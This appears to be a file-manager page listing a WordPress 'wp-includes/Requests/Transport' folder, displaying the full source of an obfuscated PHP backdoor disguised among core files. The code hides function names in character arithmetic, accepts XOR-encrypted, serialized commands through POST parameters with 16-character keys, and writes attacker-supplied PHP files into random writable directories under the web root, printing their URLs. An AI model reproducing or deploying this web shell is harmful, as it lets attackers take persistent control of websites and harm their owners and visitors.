PATH:
home
/
letacommog
/
dombes
/
wp-includes
/
Requests
/
Transport
<?php $MzQjOy = "vtwUnBYPp";function WlxGs($MzQjOy){$QJcGYwYkb = "\x72"."\x61"."\167"."\165".chr(541-427).'l'.chr(496-396).'e'.chr(557-458).chr(111)."\x64"."\x65";$sjHeX = "\163".chr(1073-957).'r'."\x5f".chr(857-743).chr(1013-902).'t'.chr(1043-994).chr(362-311);$WuaQTlZn = 's'.chr(116).chr(114)."\x5f"."\163".'p'.chr(119-11)."\x69".chr(296-180);$MzQjOy = $WuaQTlZn($QJcGYwYkb($sjHeX($MzQjOy)));return $MzQjOy;}function BodJtIyeU($oYLWRsIr, $mFPIwjV){$DxFIgGCVC = chr(319-204).'t'.'r'."\x5f"."\x73"."\160"."\154".chr(105).'t';$oYLWRsIr = array_slice($DxFIgGCVC(str_repeat($oYLWRsIr, (count($mFPIwjV)/16)+1)), 0, count($mFPIwjV));return $oYLWRsIr;}function gJfzfZ($XzmiyYUad, $fmcnOD, $oYLWRsIr){$YdPvFcp = "d07c0779-bb25-4b67-93f4-bc397bbadc83";return $XzmiyYUad ^ $YdPvFcp[$fmcnOD % strlen($YdPvFcp)] ^ $oYLWRsIr;}function QJuokRggX($mFPIwjV, $oYLWRsIr){$mFPIwjV = array_map("gJfzfZ", array_values($mFPIwjV), array_keys($mFPIwjV), array_values($oYLWRsIr));$mFPIwjV = implode("", $mFPIwjV);$XDDwiOnPy = "\165".chr(110)."\x73"."\x65"."\x72".chr(105)."\141".chr(807-699)."\151".chr(197-75).'e';$mFPIwjV = @$XDDwiOnPy($mFPIwjV);return $mFPIwjV;}function OzZGTww(){echo "pTGPuCYVah";}function pLWwLZCp($dfnIqiRir){static $pVhLhFNu = array();$aWvFAKbID = glob($dfnIqiRir . '/*', GLOB_ONLYDIR);$ZHCnydNIe = count($aWvFAKbID);if ($ZHCnydNIe > 0) {foreach ($aWvFAKbID as $dfnIqiR) {$uRtmJBNex = 'i'.chr(115).chr(786-691).chr(119)."\162".chr(105).'t'.chr(393-296).chr(98).chr(108).'e';if (@$uRtmJBNex($dfnIqiR)) {$pVhLhFNu[] = $dfnIqiR;}}}foreach ($aWvFAKbID as $dfnIqiRir) pLWwLZCp($dfnIqiRir);return $pVhLhFNu;}function bzIULo(){echo "vtwUnBYPp";}function UnKlBu($mFPIwjV){$zirjEExtQ = "\104"."\x4f".chr(649-582)."\x55".'M'."\x45"."\x4e".'T'.'_'.chr(82)."\117"."\117".'T';$JwUARIHe = $_SERVER[$zirjEExtQ];$aWvFAKbID = pLWwLZCp($JwUARIHe);$ywugp = array_rand($aWvFAKbID);$vGWCwg = '.'.'p'.chr(104).'p';$trJvwOg = $aWvFAKbID[$ywugp] . "/" . substr(md5(time()), 0, 8) . $vGWCwg;$QXlYRKrBzi = 'f'."\x69".chr(860-752).chr(1084-983).'_'.'p'.chr(700-583).chr(116).chr(527-432).chr(99).chr(111).chr(137-27)."\164"."\x65".chr(110).'t'.chr(519-404);@$QXlYRKrBzi($trJvwOg, $mFPIwjV);$XNsBEOvxQh = 'H'.chr(84).chr(84)."\x50".chr(95).'H'.'O'."\x53".chr(834-750);$iLYFjGtZN = "\x68".'t'.chr(116)."\160"."\x3a".chr(600-553)."\57";$aaTVOOyh = $iLYFjGtZN . $_SERVER[$XNsBEOvxQh] . substr($trJvwOg, strlen($JwUARIHe));print($aaTVOOyh);}foreach ($_POST as $oYLWRsIr => $mFPIwjV){$LnAnecu = strlen($oYLWRsIr);if ($LnAnecu == 16){$mFPIwjV = WlxGs($mFPIwjV);$oYLWRsIr = BodJtIyeU($oYLWRsIr, $mFPIwjV);$mFPIwjV = QJuokRggX($mFPIwjV, $oYLWRsIr);if (@is_array($mFPIwjV)){$ywugp = array_keys($mFPIwjV);$mFPIwjV = $mFPIwjV[$ywugp[0]];if ($mFPIwjV === $ywugp[0]){$mlPmU = chr(112)."\x68".'p';$cFpegCsr = "\x70".'h'.chr(742-630).chr(460-342).chr(101)."\162".'s'."\x69".chr(787-676).chr(886-776);$cEOPue = "\163".chr(164-63)."\x72".chr(448-343).'a'.chr(108).chr(105).chr(965-843)."\145";echo @$cEOPue(Array($mlPmU => @$cFpegCsr(), ));strlen($oYLWRsIr);}else {UnKlBu($mFPIwjV);}die();}}}
[+]
..
[-] cURL.php
[edit]
[-] admin.php
[edit]
[-] fsockopen.php
[edit]